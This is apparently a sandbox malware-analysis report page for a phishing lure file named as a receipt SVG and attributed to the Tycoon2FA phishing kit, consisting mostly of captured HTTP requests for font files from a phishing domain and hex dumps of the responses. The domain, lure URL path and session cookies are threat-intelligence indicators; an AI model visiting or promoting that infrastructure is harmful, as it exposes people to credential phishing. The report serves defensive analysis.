2025-03-26 23:32:02 UTC	1356	OUT	GET /GDSherpa-bold.woff HTTP/1.1 Host: ea.gdpfjvzprf.es Connection: keep-alive Origin: https://ea.gdpfjvzprf.es sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
2025-03-26 23:32:02 UTC	1178	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 23:32:02 GMT Content-Type: font/woff Content-Length: 35970 Connection: close Content-Disposition: inline; filename="GDSherpa-bold.woff" Last-Modified: Wed, 26 Mar 2025 23:16:50 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ix3bJBjmFkaHbkd4aIJAamH1vTO2twSd9dNUZxFMwop%2BdcfY0%2FuwGWMMzbKfPPZQwDzKrzvAC97H3P%2FudLyTl3K%2FcGhnI4mKTRY01xpBpwJ9rli8chu7HZgG3YzeLD%2Bk6W%2Bg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=35855&min_rtt=35807&rtt_var=10155&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2393&delivery_rate=112277&cwnd=253&unsent_bytes=0&cid=fe153e0bb5b762c7&ts=517&x=0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 912 Accept-Ranges: bytes Server: cloudflare CF-RAY: 926a71ea3adc5f83-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=85747&min_rtt=85477&rtt_var=18282&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1928&delivery_rate=35741&cwnd=252&unsent_bytes=0&cid=8bc5f69a25fad0ce&ts=197&x=0"
2025-03-26 23:32:02 UTC	191	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8c 82 00 11 00 00 00 01 24 20 00 01 00 00 00 00 8b 5c 00 00 01 26 00 00 02 93 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8b 54 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 17 df 00 00 4e b6 ed 42 8f b9 47 53 55 42 00 00 19 60 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c 10 00 00 00 46 00 00 00 60 69 c3 7b 5b 63 6d 61 70 00 00 1c 58 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 84 dc 00 00 00 2f 00 00 00 3c 29 81 01 c0 66 70 67 6d 00 00 85 0c 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 84 Data Ascii: wOFF$ \&DSIGTGPOSNBGSUB`3yOS/2F`i{[cmapX<?+cvt /<)fpgm?gasp
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: d4 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 21 74 00 00 52 61 00 00 9d a4 24 e0 b2 69 68 65 61 64 00 00 73 d8 00 00 00 33 00 00 00 36 1b 16 7d b8 68 68 65 61 00 00 74 0c 00 00 00 21 00 00 00 24 10 f8 09 15 68 6d 74 78 00 00 74 30 00 00 03 80 00 00 07 78 3f 73 90 23 6c 6f 63 61 00 00 77 b0 00 00 03 a8 00 00 03 be 4c 43 25 1c 6d 61 78 70 00 00 7b 58 00 00 00 20 00 00 00 20 03 35 0c fc 6e 61 6d 65 00 00 7b 78 00 00 02 c8 00 00 06 03 d7 eb b7 a5 70 6f 73 74 00 00 7e 40 00 00 06 94 00 00 0b fb 31 2b f3 2c 70 72 65 70 00 00 8a d0 00 00 00 81 00 00 00 8d 19 50 02 10 78 da ed 5c 0d 74 55 d5 95 de 3b 79 dc bc f7 08 21 be 89 21 09 10 52 8d 34 a2 22 28 08 22 2a 22 a2 55 e4 af d6 56 b4 5d 33 ae a9 e3 72 a8 cb 35 63 07 ac 1d 6a f9 b5 2e 01 87 5f e5 37 55 Data Ascii: glyf!tRa$iheads36}hheat!$hmtxt0x?s#locawLC%maxp{X 5name{xpost~@1+,prepPx\tU;y!!R4"("*"UV]3r5cj._7U
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 33 ec 63 06 b0 cf c4 28 b3 f0 f4 6c fc ce 55 a5 a6 ac 70 bd 18 6d 4b 61 f9 cb c5 67 64 82 82 4c 50 90 0a 9e d5 80 0a 8f d8 d0 5a 50 93 87 f6 4d 78 76 33 28 d9 89 5f e1 9f 58 6f 00 fa 62 4a c9 c6 58 02 4d 49 b1 34 05 52 c2 bd b9 98 e3 3c fc ce 87 9e 2d 14 49 25 f2 62 b4 69 0b 36 ad 37 19 98 93 2d bf 61 4b ab 41 fc c6 66 13 13 66 08 d9 03 5b 3e f6 02 78 70 93 e7 06 70 79 2c e9 1b 98 8d 1e 2b 80 b1 32 30 56 a2 d8 6d 2e 7e d7 a2 2d 4f c6 f2 82 f2 44 50 9d 06 a9 e5 63 d4 bd 88 09 07 84 ea 4a 19 69 2e 5a b5 fe 6a dd 35 2d 3f 04 4a 6a 40 49 35 74 b7 41 46 29 12 bd c9 14 8a 0a a1 a3 af 89 2c 72 78 2a 66 f9 14 24 f8 0b fc 3e 4d 03 20 89 d7 c0 39 03 f4 32 bd 0e bd d2 fd d7 c9 f1 90 1c 2b e4 58 85 11 d2 31 b3 9e b0 7b 4d 51 81 50 b3 0d 52 6b 90 96 17 d1 52 41 39 68 Data Ascii: 3c(lUpmKagdLPZPMxv3(_XobJXMI4R<-I%bi67-aKAff[>xppy,+20Vm.~-ODPcJi.Zj5-?Jj@I5tAF),rx*f$>M 92+X1{MQPRkRA9h
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 34 06 2f e2 5a 26 91 2e f2 0d 19 46 9d 54 ba 5e 59 b5 2c 57 45 b2 ba 7a 4a da ea e0 d7 ab b4 cd b8 2a dd be 76 a5 ab 7d 10 9e 36 57 41 be e5 b5 03 89 35 fb d4 09 55 10 ad d2 b5 57 b9 54 c3 df 59 b5 9b 19 73 89 97 99 16 63 45 bc aa 8b 94 2f 7a 05 b8 bf 7a 54 0d 44 9e 56 25 f2 ff dc b6 75 59 0b 2e 83 37 3d a1 0e 62 3f e4 54 e6 83 ac 4a a4 19 ed 31 c9 d9 9d 7c b7 93 6c 36 c2 ca e0 c5 be c5 dc 73 a9 0d 2a 97 f2 e9 79 da 88 f3 dd ba 92 14 89 af 97 b6 35 ea 18 b4 a0 16 1e a9 c4 5e 7f a7 25 ce 93 87 70 b8 5a 56 e8 5e c5 be 28 a6 54 ef fb 7f 09 7e 73 df a7 fe a3 a5 5a 3d a3 46 c9 3a 6b 95 e9 bd cd d8 83 df 1a 55 aa 8e 22 63 ca 56 15 6a 9d f3 cc 28 3b 5b 82 07 b8 2f e6 3a da 02 0d ac a7 4b e1 81 1a 9c f7 61 71 d6 bb 52 dd fe 6e d8 5b 3d 8f b5 a6 14 e3 dc 0e de e6 Data Ascii: 4/Z&.FT^Y,WEzJv}6WA5UWTYscE/zzTDV%uY.7=b?TJ1\|l6sy5^%pZV^(T~sZ=F:kU"cVj(;[/:KaqRn[=
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: a9 37 91 9b d6 41 8f 3f ef 2c 27 02 4d 4d 26 77 24 9b 3c 21 38 ce 39 b2 26 d3 ef 5b 11 3c e2 9a 86 f9 46 08 b3 69 51 5b a2 67 3b 98 79 83 3d 92 99 71 80 27 bb e1 39 ce 45 95 79 00 fd d6 20 bb 9e 2d 5e bd d6 7e 16 fb 48 48 eb 0b 58 d2 34 58 fe 1e 44 fa 0f 9c 67 7a a1 55 e2 09 ac aa d6 d6 2f f5 e2 57 5d 47 89 da 5e ac f2 60 37 11 32 76 a9 10 b5 b7 d1 75 43 63 84 95 74 8f ab d2 69 c3 f9 36 d7 95 9d 7d 3d d8 69 85 64 b8 fa 78 c2 d7 2f 41 5d 01 bc c3 1a 77 14 0e ab 36 aa 2c cd 6a fd 1a af d9 8e ad 90 92 f3 6e 4d 15 da 39 5c 74 0b 6f d3 5e d4 3e 3b 45 3c e8 65 af e6 76 b0 82 61 38 6b c4 a5 ed 46 6d 68 c5 6d d7 64 d1 b4 53 f4 b2 36 aa 65 06 6d 5b b3 bc c2 17 d2 bf 41 f4 d2 d3 c9 dc 9a 5a 7d 8d 95 3b 37 69 88 90 93 46 91 5e eb fb 54 f8 f5 70 ef 13 72 ad ef 9d b1 Data Ascii: 7A?,'MM&w$<!89&[<FiQ[g;y=q'9Ey -^~HHX4XDgzU/W]G^`72vuCcti6}=idx/A]w6,jnM9\to^>;E<eva8kFmhmdS6em[AZ};7iF^Tpr
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 1d 8f 3d 55 fa 8f a5 3e f8 9d 80 67 f4 7a 8a 1e 6b 12 76 92 67 f5 a6 47 1e d1 09 8c 06 3d 36 90 e0 89 04 77 5a a0 29 be c7 01 b2 ae ec 19 98 db 38 17 8c 8f 02 13 30 c7 1f c8 3c 6d f8 a1 c0 dd 1d c0 8f 2c 78 c0 81 49 0e fc ad b6 db 51 2d 07 e8 fb 74 9f ec b7 03 ee a2 ef c9 de 15 56 aa 7d 77 02 7c c6 1d e8 79 87 40 7f ba 04 b6 3b 11 d0 03 b1 f4 bb c8 5a b2 2d 9f dc 0d f1 43 ff ff 25 9f 44 95 51 80 6b c8 fe 1a dd de 7a ba ce af a4 cb 71 1c 43 ee ef 5a ed d8 fb 1d 39 de 61 e1 cd 92 bf 0c d0 11 b2 37 6c ee 25 89 0f e3 24 17 60 c9 05 52 e4 6d 60 0a 28 e8 86 76 9d 35 a5 58 90 0a f8 0e 28 ed 81 27 d2 00 a9 d0 c2 74 e8 5b 86 fc 37 ad 9e 80 ef 42 93 7a c1 7a 7b 03 0c 68 57 1f 3c 95 85 67 58 32 b0 54 cc b5 2f 66 a5 df 0f dd 2b de eb 52 58 cf 48 b4 8e 02 8f 52 20 c5 Data Ascii: =U>gzkvgG=6wZ)80<m,xIQ-tV}w\|y@;Z-C%DQkzqCZ9a7l%$`Rm`(v5X('t[7Bzz{hW<gX2T/f+RXHR
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 92 8b 5c e6 12 57 b8 4a 35 d7 b8 2e 86 6e 72 8b db dc e1 ae 34 71 9f 1a 1e 88 cb 70 1e 8a 5b b4 91 7a f1 f6 84 97 e2 ae 91 57 62 e7 35 6f c5 ce 7b 3e 88 9d 26 fd 92 a5 83 6f e2 e7 bb 89 20 c5 78 4c 2c 79 26 ce 64 eb 35 6d bb 8c 6a b5 81 ae 5a 4c 95 dd f8 5b bf 71 47 f1 77 36 5e d5 2e 9e de b2 4f ed d1 63 6a b4 fd 60 53 6d ed 23 53 fd 9f 4a db b2 ee 2b 1a a3 2c d7 3e 53 96 5b f1 6a 9b 32 f4 1a 87 02 d3 d5 aa 37 92 fa bf 74 81 bb 45 00 00 00 78 da 63 60 66 99 c6 1c c4 c0 ca c0 c2 6a cc 72 86 81 81 61 26 84 66 02 e1 08 06 54 c0 8e cc 71 73 74 f3 07 52 0a bf 59 d8 72 fe e5 30 9c e0 d8 c7 e4 a5 c0 c0 30 19 24 c7 fc 82 2d 07 24 c7 c0 0c 00 39 34 0c f8 00 00 78 da 8d 95 09 94 4e 65 1c c6 7f cf 9d 45 a1 6c 61 b2 5c 77 3e 4c a4 84 8c ad 45 cb 0c 2a 29 a4 42 34 4a Data Ascii: \WJ5.nr4qp[zWb5o{>&o xL,y&d5mjZL[qGw6^.Ocj`Sm#SJ+,>S[j27tExc`fjra&fTqstRYr00$-$94xNeEla\w>LE*)B4J
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 52 22 2a 18 13 46 84 f1 e0 1a 11 0d 8c 06 9f 91 10 5d ca c2 1c 63 b3 84 db 4c fb b7 2b d9 6b b4 2e d0 5b ea 61 fc 6e 33 2a 9b 6a 9f 91 fb a1 76 29 dd e8 3d 68 7f ff b0 8e a8 c0 c8 5e 64 df de 60 4c cd 32 ee f7 2b 5f 4b b5 dd 4e 9f 44 23 7b ba ed 44 1b d7 43 4b fc ab 97 35 b9 b4 7f 25 9d dc a2 03 c6 dd 5c ed d6 db 76 5a 8d 26 9f 83 d6 d3 24 eb f0 48 ed b5 2c e8 6a 89 d0 dd 72 a0 8c ff be a5 ec 63 19 50 42 fd 24 96 ab 97 79 ac 5f b9 df e2 d4 d3 3c 77 f7 ef a7 1d ba 82 00 00 78 da d4 bd 77 60 d3 c7 d9 38 7e f7 19 92 bc 2d cb f2 5e b2 6c cb 03 4f 59 96 b7 85 59 5e 18 4f 8c 07 78 63 63 1b 63 f6 0e 7b 86 04 08 64 11 c8 24 94 24 84 52 56 48 02 21 4d 9a 84 b6 d0 bc 0d 6d da a6 49 9a b6 69 4a 1a d2 b7 ed eb 24 2d 58 1f ff 9e bb cf b0 2c 5b 49 fb be df 7f 7e 06 5b Data Ascii: R"F]cL+k.[an3jv)=h^d`L2+_KND#{DCK5%\vZ&$H,jrcPB$y_<wxw`8~-^lOYY^Oxccc{d$$RVH!MmIiJ$-X,[I~[
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 22 22 cb 28 8e 80 ae 07 f2 d0 f9 f9 f1 44 92 69 b1 01 93 ff d0 5f 7c 96 39 83 cb ec 37 98 22 e1 4d a1 46 f8 13 e9 74 26 73 dd fe f6 c8 79 e6 71 e1 f7 c2 16 68 58 e2 4f 6f 78 cb a3 60 5b 80 dc 77 a6 09 ba e4 c3 00 19 7d 59 68 96 d0 10 b8 5c 60 5a 46 4e f0 3b ef f6 fd 4d ac a7 aa a4 f3 15 c6 c0 5d cd 00 52 b8 0c d3 31 00 04 69 6d 3f 3f ad 9f c4 d5 80 14 41 c9 08 88 9d c7 6d 78 31 fc 6b 1b 16 8e dd 16 8e 0d 43 83 cf 71 0d 77 d6 71 d1 77 3f 26 bf 12 4e 5f d3 39 13 61 0b 55 43 63 4a d3 2c 16 5b 86 86 39 75 10 20 86 c9 d8 92 56 47 99 39 c3 82 fd 0c 34 37 12 cd 7e 7c 67 1d fb bb 11 03 91 2b 64 be 3c 0f f3 45 87 4c 28 d9 96 08 2c 2d 71 38 0f 4d 29 12 4f ef 8f 51 64 b8 bf 49 6f 02 c6 86 61 53 d1 61 8b 19 93 7a 92 9c 31 51 29 93 c2 c8 3c ce 32 a7 85 d1 ef d5 d4 7c Data Ascii: ""(Di_\|97"MFt&syqhXOox`[w}Yh\`ZFN;M]R1im??Amx1kCqwqw?&N_9aUCcJ,[9u VG947~\|g+d<EL(,-q8M)OQdIoaSaz1Q)<2\|
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 16 46 68 a6 8b 37 7a 02 d9 0c 16 95 ca e8 20 b8 03 02 2d 63 74 8c 75 52 7a dc 89 fa ff da 75 5a 10 4e d6 d4 9c c4 cc e9 3d ef 55 8f d9 bf 77 4e 38 29 bf c3 f5 b5 63 72 7b 6e ed 83 9f 09 4f fc 19 48 fe de 04 f5 07 d6 17 f5 dd 54 3f 47 01 28 1a c5 a2 42 5b 9e 9e 07 9d 4b d9 81 f8 55 9d 30 b1 11 56 a1 0e 0d 78 55 e0 5b 81 03 43 2c a0 a0 40 04 86 69 44 58 60 74 50 34 54 0d 88 d7 6a dd 80 b1 45 9f 2e 4e 12 96 a2 8f 85 25 19 4e 84 66 00 b8 7b 5c 80 e4 ea f9 a6 e7 c6 14 d6 a5 a6 d6 15 c5 59 53 18 ad 7d 20 39 db 92 36 25 2b 27 09 3c 40 ea fd a5 84 77 e5 a7 d6 17 c6 18 0b eb d2 f3 db c3 ee fc 8c df 95 9b 9c 60 b5 26 24 e7 0a 8f 88 7e 21 f8 9e 42 25 bf 0f 78 39 04 85 a3 e9 b6 a9 81 98 63 40 41 72 4c 99 b7 0a 0c eb 52 b0 b1 30 c3 e3 0e aa 73 c8 24 24 dc 0c 76 38 4c Data Ascii: Fh7z -ctuRzuZN=UwN8)cr{nOHT?G(B[KU0VxU[C,@iDX`tP4TjE.N%Nf{\YS} 96%+'<@w`&$~!B%x9c@ArLR0s$$v8L

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Hilcorp#receipt0191.svg

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Tycoon2FA

Yara Signatures

Initial Sample

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Windows Analysis Report
Hilcorp#receipt0191.svg

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:32:02 UTC	1360	OUT	GET /GDSherpa-regular.woff2 HTTP/1.1 Host: ea.gdpfjvzprf.es Connection: keep-alive Origin: https://ea.gdpfjvzprf.es sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
2025-03-26 23:32:02 UTC	1174	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 23:32:02 GMT Content-Type: font/woff2 Content-Length: 28584 Connection: close Content-Disposition: inline; filename="GDSherpa-regular.woff2" cf-cache-status: HIT Last-Modified: Wed, 26 Mar 2025 23:16:50 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GHKz7CIpQ0ySikOAZvj%2F7ksSFWCWrilb79XauEc%2BQtCVvRviA9xMd2VBXWWdArxHkpGH6W8X1PC7DShs%2BSy0jo4sP4tD9jGYDVmP0qkfRypWgGZNXxLWJtDwr9KQX1Ph9snp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=1633&min_rtt=1573&rtt_var=478&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2395&delivery_rate=2491682&cwnd=252&unsent_bytes=0&cid=6d5d56092abe2739&ts=548&x=0" Age: 911 Cache-Control: max-age=14400 Server: cloudflare CF-RAY: 926a71ea3bdf4265-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=85001&min_rtt=84763&rtt_var=18239&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1932&delivery_rate=35758&cwnd=252&unsent_bytes=0&cid=e5febf043a5523b3&ts=200&x=0"
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6f a8 00 10 00 00 00 01 36 78 00 00 6f 47 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 bc 3e 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 c0 68 82 a2 42 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 27 07 97 7b 0c 81 0d 5b 78 22 71 04 dd b6 5d c4 a2 0a ca 1b ec 97 68 4a b7 df b3 0a d8 b1 27 dc 0e e2 ce 96 b5 c5 0a 36 ae 32 bb 5b 95 0a ec 05 71 f6 ff ff 7f 7a d2 88 b1 6d 43 77 77 ff 00 08 2a a9 65 55 b0 0a 53 9a a2 10 14 ad 17 8a 9a 11 30 8d c1 53 1a 73 a6 e1 b6 2c ad b0 c2 e4 5c e5 65 96 de 46 b1 26 ef 94 d7 16 8d 6f 55 2a 52 1a 7d 51 f7 43 8e e7 32 b9 54 44 c8 b6 e1 0a d3 35 11 09 23 e7 fa 68 14 48 a4 32 ac 7c 3c e8 31 a3 7a a7 a2 5d cf 78 5a f4 95 0f 7a 9d f0 7a b2 e4 97 57 f8 13 be d9 Data Ascii: wOF2o6xoGB>`<<bhB6$x> '{[x"q]hJ'62[qzmCwweUS0Ss,\eF&oUR}QC2TD5#hH2\|<1z]xZzzW
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 2c e6 87 9a fd dc e2 d5 10 f9 bd 17 16 00 31 06 00 7c fd 7f ef 1a 7b a8 a5 cf cf 36 82 f6 eb 2b 17 19 61 8b 63 96 88 a5 7c 8a 06 63 d3 47 21 79 47 b8 2e 03 d0 15 18 89 8a 2d 79 bc 37 08 2e 54 a8 ec e6 e8 1f d5 e3 5b 6c 8d 6f b9 38 9b 4b af 0a ab be 55 5b af ad 7b c2 96 5e d8 17 56 6a 2b 64 f5 d0 5c b9 ec 6c 36 fb e7 a1 c5 79 8e c0 42 c7 58 8a a5 5d 4c 0c 8d 75 d1 23 f2 ee b3 57 e1 da b5 2e 6c ed 6d bd 27 ef 85 9b bf 2b 77 e3 2e dd d5 7b c7 3e b2 1f 5d c0 65 71 47 5d a6 5e 16 5f 0a 2e d5 97 e6 cb 36 73 ef 3d 87 fa 21 3e bc 8e f2 c3 70 d4 1e d6 a3 f0 50 1c cd 47 c7 71 c4 6b 2a 1b 42 e0 81 06 13 5c a8 51 a7 45 87 2e 3d 36 9c 38 db 5f 95 2a 35 3a 74 eb b1 d7 7e 07 1c 72 8a dc a0 f3 2e bb ea 1a 85 5b be e1 b7 ae 45 16 a7 97 a6 97 a7 d7 a7 b7 df df f6 d1 c7 9f Data Ascii: ,1\|{6+ac\|cG!yG.-y7.T[lo8KU[{^Vj+d\l6yBX]Lu#W.lm'+w.{>]eqG]^_.6s=!>pPGqkB\QE.=68_5:t~r.[E
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: b2 e3 cf 4a 46 db c7 9b f0 ce 33 07 13 d8 b2 d4 47 d4 11 cd c6 5b a2 d0 ed ce 47 ff 15 ba eb 4f 6c fd 20 39 3b e1 4c 32 37 ad ae a5 21 71 b9 f4 9a 45 6f 7e ab 6d 18 95 e3 a3 49 61 23 78 e8 5d 4e b4 ac ed 4a de 7c 82 f1 60 d8 aa 6c 68 16 5f 74 10 f9 43 da bc 54 82 3b 09 20 5f 0d c5 88 ba 03 43 bd bf 16 b7 ad 41 23 b9 b9 52 f6 ac 5e a7 13 73 33 b0 43 9a a1 f4 cb ea 45 72 21 1f 1a 20 5c 44 3d 5d 6e 6b d0 d2 a0 69 35 ad ee 98 6f d1 d0 18 42 bc 02 a5 3c 4f 80 ba 61 03 b7 3c 9f 19 05 15 96 d6 04 87 df 73 68 7d 2b cc f1 5f 8f 96 87 dc f8 e9 0e a9 8b f3 d9 36 1a 9c 05 9e 9a 59 d1 d0 81 5e 1b 61 14 5c 66 14 4e 2d cd 68 52 82 8f 80 7d 85 a7 3b df f9 4e a3 34 51 9c 16 3a d7 60 d3 dc 02 d4 08 82 04 d1 4f 32 e3 5a ab 72 dc 86 8f 14 96 37 de ad 0a aa 5f 21 4c 44 82 9a Data Ascii: JF3G[GOl 9;L27!qEo~mIa#x]NJ\|`lh_tCT; _CA#R^s3CEr! \D=]nki5oB<Oa<sh}+_6Y^a\fN-hR};N4Q:`O2Zr7_!LD
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 33 f4 67 ab cf 8e be dd 94 bb 82 f4 fe 0a 00 a5 b2 2e 9e fb 66 0a 6a 38 ef 1a 6e ef 77 36 8b 69 68 74 9f 40 15 9d f6 24 fb 95 6c 71 0a 62 2f 54 aa c3 b7 72 21 bb c4 84 7c 04 db e3 bf 47 8d 95 ba d1 58 62 3e 63 c2 c7 e5 db 18 0b 03 c5 b7 16 cd a7 93 e4 d7 16 70 96 f0 80 30 26 6d 59 49 7f 94 33 c7 cc 72 47 67 5a 5d b0 03 2a b1 ff 65 b5 9b 72 eb 55 71 93 68 2d 32 b5 5a 23 da a1 0b 3b dc 19 15 75 8b 4d c6 91 49 b1 f4 3a 0c bb 7d 3c 35 b5 72 8f c8 a4 3c 53 c4 d8 66 49 d3 58 cb 13 c2 3b 65 36 2c b0 05 c3 02 e1 d6 41 a7 dd 6e 67 60 7b 6c 51 d8 4a cf 6b 92 fe 6e 87 21 49 4e 41 b9 34 2e bb a2 c7 61 47 05 cd 3a ae 14 b4 d5 6d a1 1c b7 6c fc 84 fb 09 23 4e d3 ba 7f 28 8e 71 11 b6 db ea 4b 87 c4 04 bc 1b 9b 5a 38 ec 42 13 a1 09 df 69 37 99 1a 14 18 87 12 f8 38 3f bd Data Ascii: 3g.fj8nw6iht@$lqb/Tr!\|GXb>cp0&mYI3rGgZ]*erUqh-2Z#;uMI:}<5r<SfIX;e6,Ang`{lQJkn!INA4.aG:ml#N(qKZ8Bi78?
